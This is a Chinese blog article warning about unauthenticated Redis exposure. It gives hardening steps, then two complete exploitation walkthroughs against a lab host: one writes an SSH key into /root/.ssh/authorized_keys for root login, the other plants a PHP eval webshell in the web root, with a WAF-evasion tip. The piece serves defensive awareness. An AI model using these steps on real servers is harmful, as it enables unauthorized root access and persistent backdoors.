谨防利用Redis未授权访问漏洞入侵服务器

2023-11-27 07:45
文章标签 访问 服务器 redis 漏洞 授权 入侵 谨防

本文主要是介绍谨防利用Redis未授权访问漏洞入侵服务器，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

说明：

Redis是一个开源的，由C语言编写的高性能NoSQL数据库，因其高性能、可扩展、兼容性强，被各大小互联网公司或个人作为内存型存储组件使用。
但是其中有小部分公司或个人开发者，为了方便调试或忽略了安全风险，直接用root启动redis，没有设置密码并直接对外开放了6379端口，那么这就是一个危险的行为。

漏洞成因：

未对Redis进行充分的访问控制，可利用Redis备份到文件的任意文件写入漏洞实现攻击。

漏洞影响范围：

  1. 对公网开放的6379端口。
  2. 非保护模式下使用root用户启动的redis。
  3. 未设置密码或设置弱密码的Redis服务。

危害：

  1. 利用redis的任意文件写入漏洞，利用SSH可获取服务器root权限。
  2. 利用redis的任意文件写入漏洞，可在项目中写入一句话木马。
  3. 利用redis的任意文件写入漏洞，造成其它危险操作。

解决方案：

  1. 使用防火墙策略关闭Redis端口：firewall-cmd --zone=public --remove-port=6379/tcp --permanent && systemctl restart firewalld
  2. 找到redis配置文件的requirepass项并配置复杂的密码，毕竟弱口令也是漏洞。
  3. 低权限下运行redis，不要使用root用户（再次攻击会提示(error) ERR Changing directory: Permission denied）。
  4. 配置redis保护模式，配置文件设置protected-mode yes。
  5. 配置文件设置命令更名或禁用，空引号不填充为禁用，填充为起别名：
    rename-command CONFIG “别名”
    rename-command FLUSHALL “”
    rename-command FLUSHDB “”
    rename-command CONFIG “”
    rename-command EVAL “”

利用方式1（获取root权限）：

0. 背景：

CentOS7.6，有一台IP为192.168.1.180且对外开放6379端口的服务器，Redis Server可远程被连接。攻击者首次接触这台服务器。

1. nmap扫描
nmap 192.168.1.180 -p 6379
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-24 16:10 CST
Nmap scan report for 192.168.1.180 (192.168.1.180)
Host is up (0.0014s latency).PORT     STATE SERVICE
6379/tcp open  redisNmap done: 1 IP address (1 host up) scanned in 0.11 seconds
#发现开放了Redis服务
2. 尝试远程连接
redis-cli -h 192.168.1.180 -p 6379
#远程连接成功，尝试使用
192.168.1.180:6379> set abc 123
OK
#清空redis，为存储接下来的ssh公钥做准备
192.168.1.180:6379> flushall
OK
#退出
exit
3. 本地生成SSH密钥对，将公钥写入自定义文件，发送给攻击目标。
#生成SSH密钥对
ssh-keygen -t rsa
#将其公钥写入自定义文件
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /test/ssh.txt
#将公钥文件重定向给远程的redis
cat /test/ssh.txt | redis-cli -h 192.168.1.180 -p 6379 -x set ssh_key
4. 利用Redis备份功能将ssh公钥写入到目标服务器的root目录下
#远程连接
redis-cli -h 192.168.1.180 -p 6379
#设置 Redis 数据库的持久化存储路径
192.168.1.180:6379> config set dir /root/.ssh
#设置 Redis 数据库的持久化存储文件名
192.168.1.180:6379> config set dbfilename authorized_keys
#保存
192.168.1.180:6379> save
5. 远程连接目标服务器，成功入侵并获取了root权限
ssh root@192.168.1.180 -i /root/.ssh/id_rsa
The authenticity of host '192.168.1.180 (192.168.1.180)' can't be established.
ED25519 key fingerprint is SHA256:v7jh2lXha1qeJTqZtHxfFcvdBXxtyMm0z10M3NuvMKM.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.180' (ED25519) to the list of known hosts.
Last login: Fri Nov 24 11:12:42 2023 from 192.168.2.183
#验证用户
[root@lnmp ~]# whoami
root

利用方式2（web站点写入一句话木马）：

0. 背景：

CentOS7.6，有一台IP为192.168.1.180且对外开放6379端口的服务器，Redis Server可远程被连接。攻击者首次接触这台服务器，服务器有LNMP环境。

1. nmap扫描
└─# nmap 192.168.1.180 -p 80,443,6379
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-24 16:52 CST
Nmap scan report for 192.168.1.180 (192.168.1.180)
Host is up (0.0081s latency).PORT     STATE    SERVICE
80/tcp   open     http
443/tcp  filtered https
6379/tcp open     redis
MAC Address: 00:0C:29:01:E8:DC (VMware)Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds
#发现开放了Redis和http服务
2. 尝试远程连接Redis，这一步走不通下面流程就不用走了
redis-cli -h 192.168.1.180 -p 6379
#远程连接成功，尝试使用
192.168.1.180:6379> set abc 123
OK
3. 尝试获取Web服务技术栈，发现用的是PHP
curl -I 192.168.1.180
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 24 Nov 2023 08:53:22 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/7.4.6
3. 在Kali上安装dirsearch，找到带有phpinfo或者报错的页面，从而获取web站点的路径，dirsearch需要python3环境
#pip配置阿里云镜像
pip config set global.index-url https://mirrors.aliyun.com/pypi/simple/
pip config set install.trusted-host mirrors.aliyun.com
#克隆dirsearch
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch
#期间会提示安装一些包，正常安装就行。执行dirsearch，尝试路径爆破后进行手动过滤。
python3 dirsearch.py -u http://192.168.1.180 -e php
#例如在192.168.1.180/err.php下找到了一个携带php报错的地址，手动访问
Warning: Undefined variable $res in /Host/err.php on line 2
#至此，发现php的站点在/Host下。
4. 将PHP一句话木马发送给目标的redis服务器
redis-cli -h 192.168.1.180 -p 6379
192.168.1.180:6379> flushall
OK
192.168.1.180:6379> config set dir /Host
OK
192.168.1.180:6379> config set dbfilename "test.php"
OK
192.168.1.180:6379> set test "\n\n<?php eval($_GET['a']);?>\n\n"
OK
192.168.1.180:6379> save
OK

远程的文件是这样的，既包含了其它key的备份，也包含了一句话木马：

REDIS0009�	redis-ver5.0.8�
redis-bits�@�ctime�dce�used-mem���aof-preamble� � �  test<?php eval($_GET['a']);?>�'t!	p�w
5. 验证一句话木马文件，成功写入一句话木马
#由于PHP只解析从<?php到?>结束的代码，所以其余字符不受影响。
#为了防止被WAF拦截，传参过程也可自定义编码
http://192.168.1.180/test.php?a=phpinfo();

这篇关于谨防利用Redis未授权访问漏洞入侵服务器的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！


http://www.chinasem.cn/article/427313。

相关文章

服务器集群同步时间手记

服务器集群同步时间手记

1.时间服务器配置（必须root用户） （1）检查ntp是否安装 [root@node1 桌面]# rpm -qa|grep ntpntp-4.2.6p5-10.el6.centos.x86_64fontpackages-filesystem-1.41-1.1.el6.noarchntpdate-4.2.6p5-10.el6.centos.x86_64 （2）修改ntp配置文件 [r
阅读更多...
安卓链接正常显示，ios#符被转义%23导致链接访问404

安卓链接正常显示，ios#符被转义%23导致链接访问404

原因分析： url中含有特殊字符 中文未编码 都有可能导致URL转换失败，所以需要对url编码处理  如下： guard let allowUrl = webUrl.addingPercentEncoding(withAllowedCharacters: .urlQueryAllowed) else {return} 后面发现当url中有#号时，会被误伤转义为%23，导致链接无法访问
阅读更多...
零基础学习Redis(10) -- zset类型命令使用

零基础学习Redis(10) -- zset类型命令使用

zset是有序集合，内部除了存储元素外，还会存储一个score，存储在zset中的元素会按照score的大小升序排列，不同元素的score可以重复，score相同的元素会按照元素的字典序排列。 1. zset常用命令 1.1 zadd  zadd key [NX | XX] [GT | LT]   [CH] [INCR] score member [score member ...]
阅读更多...
Linux服务器Java启动脚本

Linux服务器Java启动脚本

Linux服务器Java启动脚本 1、初版2、优化版本3、常用脚本仓库 本文章介绍了如何在Linux服务器上执行Java并启动jar包， 通常我们会使用nohup直接启动，但是还是需要手动停止然后再次启动， 那如何更优雅的在服务器上启动jar包呢，让我们一起探讨一下吧。 1、初版 第一个版本是常用的做法，直接使用nohup后台启动jar包， 并将日志输出到当前文件夹n
阅读更多...
两个月冲刺软考——访问位与修改位的题型(淘汰哪一页)；内聚的类型；关于码制的知识点；地址映射的相关内容

两个月冲刺软考——访问位与修改位的题型(淘汰哪一页)；内聚的类型；关于码制的知识点；地址映射的相关内容

1.访问位与修改位的题型(淘汰哪一页) 访问位：为1时表示在内存期间被访问过，为0时表示未被访问；修改位：为1时表示该页面自从被装入内存后被修改过，为0时表示未修改过。 置换页面时，最先置换访问位和修改位为00的，其次是01(没被访问但被修改过)的，之后是10(被访问了但没被修改过)，最后是11。 2.内聚的类型 功能内聚：完成一个单一功能，各个部分协同工作，缺一不可。 顺序内聚：
阅读更多...
速盾：直播 cdn 服务器带宽？

速盾：直播 cdn 服务器带宽？

在当今数字化时代，直播已经成为了一种非常流行的娱乐和商业活动形式。为了确保直播的流畅性和高质量，直播平台通常会使用 CDN（Content Delivery Network，内容分发网络）服务器来分发直播流。而 CDN 服务器的带宽则是影响直播质量的一个重要因素。下面我们就来探讨一下速盾视角下的直播 CDN 服务器带宽问题。 一、直播对带宽的需求 高清视频流 直播通常需要传输高清视频
阅读更多...
Redis中使用布隆过滤器解决缓存穿透问题

Redis中使用布隆过滤器解决缓存穿透问题

一、缓存穿透(失效)问题 缓存穿透是指查询一个一定不存在的数据，由于缓存中没有命中，会去数据库中查询，而数据库中也没有该数据，并且每次查询都不会命中缓存，从而每次请求都直接打到了数据库上，这会给数据库带来巨大压力。 二、布隆过滤器原理 布隆过滤器（Bloom Filter）是一种空间效率很高的随机数据结构，它利用多个不同的哈希函数将一个元素映射到一个位数组中的多个位置，并将这些位置的值置
阅读更多...
一种改进的red5集群方案的应用、基于Red5服务器集群负载均衡调度算法研究

一种改进的red5集群方案的应用、基于Red5服务器集群负载均衡调度算法研究

转自： 一种改进的red5集群方案的应用： http://wenku.baidu.com/link?url=jYQ1wNwHVBqJ-5XCYq0PRligp6Y5q6BYXyISUsF56My8DP8dc9CZ4pZvpPz1abxJn8fojMrL0IyfmMHStpvkotqC1RWlRMGnzVL1X4IPOa_  基于Red5服务器集群负载均衡调度算法研究 http://ww
阅读更多...
RTMP流媒体服务器 crtmpserver

RTMP流媒体服务器 crtmpserver

http://www.oschina.net/p/crtmpserver crtmpserver又称rtmpd是Evostream Media Server（www.evostream.com）的社区版本采用GPLV3授权 其主要作用为一个高性能的RTMP流媒体服务器，可以实现直播与点播功能多终端支持功能，在特定情况下是FMS的良好替代品。 支持RTMP的一堆协议（RT
阅读更多...
Lua 脚本在 Redis 中执行时的原子性以及与redis的事务的区别

Lua 脚本在 Redis 中执行时的原子性以及与redis的事务的区别

在 Redis 中，Lua 脚本具有原子性是因为 Redis 保证在执行脚本时，脚本中的所有操作都会被当作一个不可分割的整体。具体来说，Redis 使用单线程的执行模型来处理命令，因此当 Lua 脚本在 Redis 中执行时，不会有其他命令打断脚本的执行过程。脚本中的所有操作都将连续执行，直到脚本执行完成后，Redis 才会继续处理其他客户端的请求。 Lua 脚本在 Redis 中原子性的原因
阅读更多...

Copyright China编程 23002807@qq.com

沪ICP备2023033072号-2